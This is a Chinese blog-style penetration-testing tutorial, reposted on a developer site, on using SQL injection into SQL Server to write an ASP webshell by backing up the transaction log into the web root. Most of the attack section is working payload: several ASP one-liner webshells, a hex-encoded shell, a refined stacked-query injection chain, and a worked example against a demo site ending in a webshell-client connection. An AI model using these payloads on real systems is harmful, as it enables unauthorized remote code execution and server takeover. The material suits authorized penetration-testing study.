热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

75.网络安全渗透测试—[SQL注入篇14]—[SQLSERVER+ASPLOG日志备份拿webshell]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!文章目录一、SQLSERVER日志

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

    • 一、SQLSERVER 日志备份相关概念
      • 1、SQLSERVER的备份
      • 2、数据库故障还原类型
      • 3、ASP一句话:
      • 4、此时我们就可以通过备份log文件,得到webshell了
      • 5、优化webshell:
      • 6、最终形成的payload:
      • 7、如何判断是否拿到Webshell
    • 二、SQLSERVER+ASP 日志备份拿webshell示例
      • 1、判断数据库名:mydb
      • 2、备份日志,拿webshell
      • 3、判断是否写入webshell
      • 4、蚁剑连接


一、SQLSERVER 日志备份相关概念


1、SQLSERVER的备份

(1)差异备份经常会出错的,不稳定。

(2)LOG日志备份很稳定。

2、数据库故障还原类型

       数据库故障还原类型默认是简单类型的,这时候不能够对日志文件进行备份。如果我们拥有权限,只要修改一下属性就可以。由于不能去企业管理器中修改,只需要使用一段SQL语句即可把数据库的还原类型设置为完全还原类型:

alter database 数据库名 set recovery FULL;

3、ASP一句话:

<%execute(request("a"))%><%25Execute(request("a"))%25> <%ExeCute(request("a"))%>0x3C25657865637574652872657175657374282261222929253E%><%execute request("a")%><%<script language&#61;Vbscript runat&#61;server>execute request("a")</Script> <%%25Execute(request("a"))%%25>

4、此时我们就可以通过备份log文件&#xff0c;得到webshell了

create table cmd123 (a image);insert into cmd123 (a) values (&#39;<%Execute(request("a"))%>&#39;);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;

5、优化webshell&#xff1a;

&#xff08;1&#xff09;首先让注入的时候不出现单引号&#xff0c;十六进制编码

create table cmd123 (a image);insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;

&#xff08;2&#xff09;其次减小这个webshell的长度以及提高成功率&#xff0c;初始化日志

  backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;create table cmd123 (a image);insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;

&#xff08;3&#xff09;还可以再减小这个webshell的长度以及提高成功率&#xff0c;也就是在初始化之前之前建表

  create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;

&#xff08;4&#xff09;最后&#xff0c;对于我们自定义的的cmd表&#xff0c;可能库里面本来就存在&#xff0c;假如存在的话&#xff0c;就会报错&#xff0c;所以我们可以用一条if语句判断&#xff0c;若存在就删除。

IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123;create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;

&#xff08;5&#xff09;我们成功写入webshell后&#xff0c;删除自定义的cmd123表

IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123;create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;drop table cmd123;

6、最终形成的payload&#xff1a;

&#xff08;1&#xff09;payload解释&#xff1a;

alter database 数据库名 set recovery FULL;//设置数据库的还原类型为FULL类型&#xff0c;以便备份日志IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)//判断cmd表是否存在//注意&#xff1a;if条件判断后没有分号drop table cmd123; //若存在就删除cmd123表create table cmd123 (a image);//在初始化日志之前&#xff0c;建个表cmd123 backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;//初始化日志insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);//往cmd123表里插入asp一句话&#xff0c;会被日志文件记录在内backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;//备份日志到2.asp&#xff0c;生成webshelldrop table cmd123;//生成webshell后&#xff0c;删除我们自定义的临时表cmd123

&#xff08;2&#xff09;由于SQLSERVER允许多行操作&#xff0c;也就是一行可以执行多条语句&#xff0c;不同语句直接通过分号分割开&#xff0c;因此payload可以在一行内提交&#xff0c;如下所示&#xff1a;

假如此时前置查询是以?id传参的&#xff1a;

?id&#61;1;alter database 数据库名 set recovery FULL;IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123;create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;drop table cmd123;

7、如何判断是否拿到Webshell

       用execute正常备份出来的asp文件&#xff0c;在页面访问该asp文件的时候是有错误提示的&#xff0c;当你的显示500错误时&#xff0c;请你将的IE错误提示打开&#xff0c;当显示Microsoft Vbscript 运行时错误 错误 ‘800a000d’
类型不匹配: ‘execute’ 的时候表示你已经成功了&#xff0c;连接吧&#xff01;&#xff01;&#xff01;

&#xff08;1&#xff09;IE浏览器设置&#xff0c;打开页面提示
在这里插入图片描述
&#xff08;2&#xff09;成功写入的页面显示&#xff1a;
在这里插入图片描述

二、SQLSERVER&#43;ASP 日志备份拿webshell示例


1、判断数据库名&#xff1a;mydb

payload&#xff1a;?id&#61;1 union select null,db_name(),null
在这里插入图片描述

2、备份日志&#xff0c;拿webshell

payload&#xff1a;?id&#61;1;alter database mydb set recovery FULL;IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123;create table cmd123 (a image);backup log mydb to disk &#61; &#39;c:\\inetpub\\wwwroot\\www.demo1.com\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log mydb to disk &#61; &#39;c:\\inetpub\\wwwroot\\www.demo1.com\\a.asp&#39;;drop table cmd123;
在这里插入图片描述

后台也成功的出现了83kb的a.asp文件&#xff1a;&#xff08;这一步可以不要&#xff0c;我是在后台的网站目录下验证是否真的写入成功&#xff09;
在这里插入图片描述

3、判断是否写入webshell

访问a.asp页面&#xff1a;
在这里插入图片描述

4、蚁剑连接

在这里插入图片描述


推荐阅读
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • 本文介绍了RPC框架Thrift的安装环境变量配置与第一个实例,讲解了RPC的概念以及如何解决跨语言、c++客户端、web服务端、远程调用等需求。Thrift开发方便上手快,性能和稳定性也不错,适合初学者学习和使用。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文讨论了在使用sp_msforeachdb执行动态SQL命令时,当发生错误时如何捕获数据库名称。提供了两种解决方案,并介绍了如何正确使用'?'来显示数据库名称。 ... [详细]
  • javascript  – 概述在Firefox上无法正常工作
    我试图提出一些自定义大纲,以达到一些Web可访问性建议.但我不能用Firefox制作.这就是它在Chrome上的外观:而那个图标实际上是一个锚点.在Firefox上,它只概述了整个 ... [详细]
  • 安卓select模态框样式改变_微软Office风格的多端(Web、安卓、iOS)组件库——Fabric UI...
    介绍FabricUI是微软开源的一套Office风格的多端组件库,共有三套针对性的组件,分别适用于web、android以及iOS,Fab ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 从零学Java(10)之方法详解,喷打野你真的没我6!
    本文介绍了从零学Java系列中的第10篇文章,详解了Java中的方法。同时讨论了打野过程中喷打野的影响,以及金色打野刀对经济的增加和线上队友经济的影响。指出喷打野会导致线上经济的消减和影响队伍的团结。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • WebSocket与Socket.io的理解
    WebSocketprotocol是HTML5一种新的协议。它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
author-avatar
静卍谧梁言_250
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有